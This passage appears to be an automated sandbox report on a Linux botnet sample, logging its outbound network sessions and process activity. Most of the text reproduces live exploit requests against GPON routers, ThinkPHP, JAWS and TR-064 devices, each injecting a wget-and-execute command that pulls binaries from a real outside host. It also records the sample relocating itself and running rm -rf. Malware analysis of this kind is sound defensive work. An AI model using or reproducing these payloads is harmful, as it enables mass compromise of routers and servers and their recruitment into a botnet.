Mar 21, 2024 05:18:54.330946922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1235	192.168.2.23	60398	79.8.233.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.331012964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1236	192.168.2.23	37442	5.176.158.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.331052065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1237	192.168.2.23	49884	95.100.53.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.449209929 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:55.410181999 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:55.594654083 CET	478	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 256 Expires: Thu, 21 Mar 2024 04:18:55 GMT Date: Thu, 21 Mar 2024 04:18:55 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 31 36 31 35 30 32 26 23 34 36 3b 31 37 31 30 39 39 34 37 33 35 26 23 34 36 3b 64 38 39 65 63 30 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.7161502.1710994735.d89ec0f</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1238	192.168.2.23	45776	104.86.92.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.477435112 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:54.632190943 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:18:54 GMT Date: Thu, 21 Mar 2024 04:18:54 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 61 38 66 34 64 35 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 37 33 34 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.a8f4d517.1710994734.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1239	192.168.2.23	44468	210.123.161.83	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.599499941 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1240	192.168.2.23	46480	147.47.52.30	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.624747992 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1241	192.168.2.23	44484	210.123.161.83	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.933063984 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1242	192.168.2.23	57656	162.0.199.30	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.114357948 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:55.292821884 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:18:56 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
1243	192.168.2.23	57696	162.0.199.30	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.275042057 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:55.417120934 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:18:56 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
1244	192.168.2.23	50984	190.139.125.192	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.275262117 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1245	192.168.2.23	45812	67.140.49.194	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.293320894 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1246	192.168.2.23	45820	67.140.49.194	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.424976110 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1247	192.168.2.23	40692	189.45.67.95	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.467106104 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1248	192.168.2.23	33914	62.29.9.230	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.491717100 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1249	192.168.2.23	40698	189.45.67.95	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.667951107 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:56.305058956 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1250	192.168.2.23	33920	62.29.9.230	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.711042881 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

System Behavior

Analysis Process: I9k2Q7HKfO.elf PID: 6260, Parent PID: 6177

General

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	/tmp/I9k2Q7HKfO.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	sh -c "rm -rf usr/bin && mkdir usr; >usr/bin && mv /tmp/I9k2Q7HKfO.elf usr/bin; chmod 777 usr/bin"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/usr/bin/rm
Arguments:	rm -rf usr/bin
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir usr
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/usr/bin/mv
Arguments:	mv /tmp/I9k2Q7HKfO.elf usr/bin
File size:	149888 bytes
MD5 hash:	504f0590fa482d4da070a702260e3716

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/usr/bin/chmod
Arguments:	chmod 777 usr/bin
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6272, Parent PID: 6268

General

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6275, Parent PID: 6268

General

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6277, Parent PID: 6268

General

Start time (UTC):	04:16:51
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6279, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6281, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6282, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6285, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6287, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6289, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6290, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6292, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6293, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6294, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6299, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6300, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
Path:	/tmp/I9k2Q7HKfO.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: I9k2Q7HKfO.elf PID: 6301, Parent PID: 6268

General

Start time (UTC):	04:16:52
Start date (UTC):	21/03/2024
